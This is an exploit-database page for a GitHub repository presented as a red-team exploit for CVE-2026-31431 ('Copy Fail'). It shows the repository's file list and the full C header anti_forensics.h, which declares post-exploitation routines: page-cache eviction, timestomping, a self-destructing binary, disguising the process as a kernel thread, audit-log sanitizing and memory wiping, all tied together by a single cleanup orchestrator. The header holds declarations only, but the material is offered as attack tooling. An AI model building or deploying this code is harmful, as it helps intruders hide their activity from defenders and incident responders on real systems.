Exploit databaseDownload repository ZIP
GH-db95e8411ee16cabf40e4af5e90b16fd
toxy4ny/copy-fail-exploit-on-c-redteam
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files23
toxy4ny/copy-fail-exploit-on-c-redteamRevision c2a6d43d4a84
- LICENSE
- Makefile
- README.md
- anti_forensics.c
- anti_forensics.h
- exploit.c
- memfd_exec.c
- memfd_exec.h
- patch_chunk.c
- patch_chunk.h
- proc_hide.c
- proc_hide.h
- signal_trigger.c
- signal_trigger.h
- sleep_jitter.c
- sleep_jitter.h
- stage1.c
- stage1.h
- stage2_template.c
- stage2_template.h
- target_discovery.c
- target_discovery.h
- vulnerable.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
anti_forensics.h
Text · 3,616 bytes/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */
/*
* Copy Fail -- CVE-2026-31431
* Anti-forensics API for redteam operations.
*/
#ifndef ANTI_FORENSICS_H
#define ANTI_FORENSICS_H
#include <stddef.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
/* ------------------------------------------------------------------ */
/* Timestamp stash -- captured before exploitation, restored after */
struct stashed_ts {
struct timespec atime;
struct timespec mtime;
int restore_atime;
int restore_mtime;
};
/* ------------------------------------------------------------------ */
/* Cleanup context -- everything needed for post-exploitation cleanup */
struct cleanup_ctx {
/* Target file */
int target_fd; /* open fd (for fadvise drop caches) */
char target_path[4096]; /* path (for timestomp) */
struct stashed_ts ts; /* captured timestamps */
/* Sensitive memory to wipe */
void *sensitive_ptr; /* pointer to key material, payload, etc. */
size_t sensitive_len; /* length in bytes */
};
/* ------------------------------------------------------------------ */
/* 1. Page cache eviction */
/*
* drop_page_cache_for_file -- evict target's pages from kernel cache.
* Uses posix_fadvise(POSIX_FADV_DONTNEED). Also attempts global
* drop via /proc/sys/vm/drop_caches if privileged.
*/
int drop_page_cache_for_file(int fd);
/* ------------------------------------------------------------------ */
/* 2. Timestomp */
/*
* stash_timestamps -- capture current atime/mtime before exploitation.
*/
int stash_timestamps(const char *path, struct stashed_ts *out);
/*
* timestomp_file -- restore timestamps from stashed values.
*/
int timestomp_file(const char *path, const struct stashed_ts *ts);
/* ------------------------------------------------------------------ */
/* 3. Self-destruct */
/*
* self_destruct_and_exec -- overwrite own binary with zeros, then execve
* into target. Does not return on success.
*/
int self_destruct_and_exec(const char *target_path,
char *const argv[], char *const envp[]);
/* ------------------------------------------------------------------ */
/* 4. Process masquerade */
/*
* masquerade_process -- change visible process name via prctl.
*/
void masquerade_process(const char *new_name);
/*
* masquerade_as_kernel_thread -- specialized: pick plausible kworker name.
*/
void masquerade_as_kernel_thread(void);
/* ------------------------------------------------------------------ */
/* 5. Audit sanitization */
/*
* sanitize_audit_logs -- best-effort cleanup of audit subsystem traces.
*/
int sanitize_audit_logs(void);
/* ------------------------------------------------------------------ */
/* 6. Memory wipe */
/*
* secure_zero_memory -- overwrite buffer with zeros (compiler-resistant).
*/
void secure_zero_memory(void *ptr, size_t len);
/*
* wipe_stack_region -- clear stack range between two pointers.
*/
void wipe_stack_region(void *bottom, void *top);
/* ------------------------------------------------------------------ */
/* 7. Orchestrator */
/*
* full_cleanup -- run complete anti-forensics sequence.
*
* Steps: masquerade -> drop caches -> timestomp -> audit sanitize
* -> memory wipe -> optional self-destruct+exec.
*
* Returns 0 if caller survives (self_destruct failed or not requested).
* Does not return if self_destruct_and_exec succeeds.
*/
int full_cleanup(const struct cleanup_ctx *ctx, int do_exec,
const char *target, char *const argv[], char *const envp[]);
#endif /* ANTI_FORENSICS_H */